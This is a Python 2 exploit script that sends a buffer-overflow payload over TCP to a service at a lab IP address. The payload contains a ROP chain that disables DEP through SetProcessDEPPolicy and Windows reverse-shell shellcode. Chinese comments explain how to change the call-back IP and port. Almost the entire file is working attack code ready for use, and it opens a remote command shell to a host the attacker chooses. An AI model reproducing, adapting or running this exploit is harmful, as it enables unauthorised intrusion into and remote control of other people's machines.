#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import time
import socket
import struct


targetAddr = ('192.168.86.134', 1000)

nopCode = '\x11'*64 + '\x90'*4  # 64Byte string and 4Byte Nop
shellcode =  ""
shellcode += "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"
shellcode += "\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
shellcode += "\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"
shellcode += "\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b"
shellcode += "\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0"
shellcode += "\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b"
shellcode += "\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01"
shellcode += "\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2"
shellcode += "\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b"
shellcode += "\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86"
shellcode += "\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68"
shellcode += "\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4"
shellcode += "\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50"
shellcode += "\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
shellcode += "\x68"
shellcode += "\x7f\x00\x00\x01"  # reverse_ip 若需修改反弹地址，将此处改为实际ip对应十六进制值即可
shellcode += "\x68\x02\x00"
shellcode += "\x11\x5c"   #reverse_port 若需修改反弹端口，将此处改为实际port对应的十六进制即可
shellcode += "\x89\xe6\x6a"
shellcode += "\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d"
shellcode += "\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56"
shellcode += "\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10"
shellcode += "\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
shellcode += "\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
shellcode += "\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5"
shellcode += "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
shellcode += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
shellcode += "\xff\xd5"

def create_rop_chain():

    # rop chain
    rop_gadgets = [
      0x77bf4f42,  # RETN
      0x90909090,
      0x7c80df32,  # POP EBP # RETN
      0x7c862144,  # ptr to SetProccessDEPPolicy()
      0x7c81ae28,  # POP EBX # RETN [kernel32.dll]
      0x00000000,  # 0x00000000
      0x7c86ce63,  # POP EDI # RETN [kernel32.dll] 
      0x77bf54c4,  # 
      0x7c87b976,  # POP ESI # RETN [msvcrt.dll]
      0x77bf5502, 
      0x77d23ad9,  # PUSHAD # RETN [user32.dll] 
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

expCode = nopCode + rop_chain + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    s.connect(targetAddr)
    print >> sys.stdout, 'Connection with %s:%d succeed' % targetAddr
except socket.error:
    print >> sys.stdout, 'Connection with %s:%d failed' % targetAddr
    sys.exit(-1)

time.sleep(0.5)
try:
    s.send(expCode + '\n')
    print >> sys.stdout, 'Send expcode(stage1) succeed'
except socket.error:
    print >> sys.stdout, 'Send expcode(stage1) failed'
    sys.exit(-1)


print >> sys.stdout, 'Exploit succeed!'
